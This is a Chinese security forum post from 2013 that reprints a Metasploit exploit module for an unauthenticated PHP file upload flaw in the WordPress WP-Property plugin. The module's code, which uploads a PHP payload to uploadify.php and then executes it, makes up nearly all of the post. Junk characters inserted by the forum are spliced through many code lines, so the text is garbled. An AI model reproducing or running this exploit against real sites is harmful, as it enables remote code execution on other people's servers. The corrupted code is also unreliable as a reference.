找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2448|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞
7 i1 D& ^  K: N2 g" q$ ]$ Q
, Z& Q6 B( }' i  b# | ## # This file is part of the Metasploit Framework and may be subject to( n4 w! j. c& }  [4 v
5 l! O! a. N" M' @# ~0 m
# redistribution and commercial restrictions. Please see the Metasploit, H4 w1 \( c. F& p$ \( j  @% F

: X. {% i1 L6 W4 Y# Framework web site for more information on licensing and terms of use.
4 S0 F; G! c  P" M" p6 z3 J; @1 B& O+ k4 k5 V" e/ T7 P5 i( Y
#   http://metasploit.com/framework/ ##
/ d; C2 K; e: ?+ x  h( H5 h: P4 g8 Z8 u. P/ j$ b2 _3 [3 Z

, ~1 s3 ]. Y* F: y9 _1 \
0 j; k/ N0 }- u- }2 Z: e : G7 m$ L2 [) g5 W/ z
* g' O/ U$ O$ K2 C+ {
require 'msf/core'* v& l! M2 Y0 ]: y
require 'msf/core/exploit/php_exe'; n  {: H4 l0 e6 d

+ C& z/ g$ F" y% {5 x9 @. Fclass Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',: C2 \' C) @1 W3 }
'Description'    => %q{
' z/ S! ]4 A- \  lThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>) M: }9 I7 z! b8 c, P# D9 m
[5 M+ {8 t& }4 H5 Y& M, r7 d
'Sammy FORGIT', # initial discovery2 P) N3 w6 O2 i% z. x
'James Fitts <fitts.james[at]gmail.com>' # metasploit module* [3 X4 r$ B" g' m, `' \& p8 _0 Y4 a
],- z; n, o$ a6 X
'License'        => MSF_LICENSE,. n" b3 \$ ^/ X$ U" g7 m
'References'     =>
. b7 g* P# W$ H5 s  m) e* ?[
) B$ |" b0 N  `) Z4 I' `[ 'OSVDB', '82656' ],
  w6 ~! q* a* |1 S[ 'BID', '53787' ],! s. |1 S5 W& o0 _1 ?3 H
[ 'EDB', '18987'],
9 e2 M# d2 \, L5 E- Q6 z[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]8 \6 c/ h. b, m
],
  |" V/ U2 N" e5 D+ A% R8 b'Payload'        =>
3 m, Q- h" @2 \: z1 h- a. V( p7 d; M{
: V8 o3 ^& m, W" u* p9 r% T$ U'BadChars' => "\x00",
# I  m- A7 @; W& S},
8 P: ^! c5 Y+ ^; X% |' V'Platform'       => 'php',# U7 `( z( z+ L+ v$ P7 ~. `& s' r
'Arch'           => ARCH_PHP,* B2 i$ J2 M" Q2 P+ I
'Targets'        =>
8 G/ W5 ^* E- M5 w[- t2 c+ B" j7 y( f- i7 B1 _
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],- U% O/ P1 x+ [8 }! x' q
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
" Z* D, \' a, u7 a3 W5 X],$ _. w& k. S3 M! u% m9 Q$ `* W
'DefaultTarget'  => 0,
: S) x6 p4 a. K7 d) D# M'DisclosureDate' => 'Mar 26 2012'))7 [& E% y0 E: R& D
1 c- _" F6 y# q  b" U. C
register_options(
$ L- ~4 X0 v) c[
  u# V* n. s; I' d+ A, IOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
6 z6 ?5 t0 ]9 R7 e], self.class)
. }' ~. V/ T9 i+ @end2 Z% f  K( ~( g. l0 u; [

! v; ]* o; g2 S* j; I$ N) ndef check
% p1 ?: p+ u) _uri =  target_uri.path
- S: H* P  o# c1 T: O$ d3 nuri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',$ {. e, u0 E6 @2 Y; D( n$ X
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"0 u+ P, Y: z/ B
}), @  @8 N# E  z1 o$ c, F/ K+ D3 L

' I& L+ u! [( W, g  w) Yif not res or res.code != 200
9 ]/ R6 r8 }! {7 C2 Areturn Exploit::CheckCode::Unknown
9 d/ G9 k# w$ l5 a# |/ \5 rend
& O# d: \% D' |/ n! }& [3 V- B
# d3 h1 g# V6 l6 a/ P- v* ^return Exploit::CheckCode::Appears7 Y1 U  F: x5 _/ n5 ^
end/ Q/ W. B3 I* t% x9 x
4 n( Q1 D2 S" [/ Z( ~$ ]
def exploit
# V6 D4 I! v; u: |$ v/ r& z0 Y( Kuri =  target_uri.path6 H3 O  M* b( f5 W, |
uri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)
6 C9 s7 O2 u4 Z7 A& l( V- x+ P, c; P3 W, P% w" B
data = Rex::MIME::Message.new
6 R" }* M7 }' A  g; U  E, k/ Xdata.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")) i' R4 Q. R# j9 B# j* ]
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
/ y* G7 V+ ]5 z7 G" V+ rpost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')7 {7 C# S6 E; D+ |7 f

: o* K% Z5 G9 O+ Cprint_status("#{peer} - Uploading payload #{@payload_name}")
0 s& a3 _' s: `$ a0 xres = send_request_cgi({
- E9 H3 h; k- ?' L& T4 g'method' => 'POST',) {; Q# h7 j1 r( H9 h+ q9 _+ ]
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
" J# H' \! l  g3 K8 Q% @'ctype'  => "multipart/form-data; boundary=#{data.bound}",
, m* i6 c+ ~% b+ [! h/ \'data'   => post_data- N: _" E; m; U% L
})
* k4 ]2 Q9 q7 {  J+ k
. f/ g/ B6 P  v5 {; @! Q, U; E) e6 Dif not res or res.code != 200 or res.body !~ /#{@payload_name}/" e+ X) Y7 ]6 [. k% J! P$ T! I
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
6 F6 W4 \. o, m' f- H: X4 I" J# ?end7 r* |5 i6 \' L6 V, c+ W

: V1 ~  T3 R8 E  supload_uri = res.body
- D+ I/ b" M& x1 Q! l
7 P) `/ R% O! O0 Z8 B4 tprint_status("#{peer} - Executing payload #{@payload_name}")3 V; m: Y) z2 l6 {9 ~+ v6 W: p
res = send_request_raw({
  ^5 ]! d9 ?: n. u5 U'uri'    => upload_uri,! S% f3 d' I( f
'method' => 'GET'
( ?' @0 h' Y  G6 o})
# Q6 ~4 Q- s# t: Gend
2 V' ]$ d& I# ?. Nend$ z! b- X3 P0 \* R

  Q9 v9 _- B7 O" H+ @不要问我这写的是什么 怎么利用 我是说msf.
0 D& v* a* Z% i) _
  ]9 s1 W8 _5 |$ e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表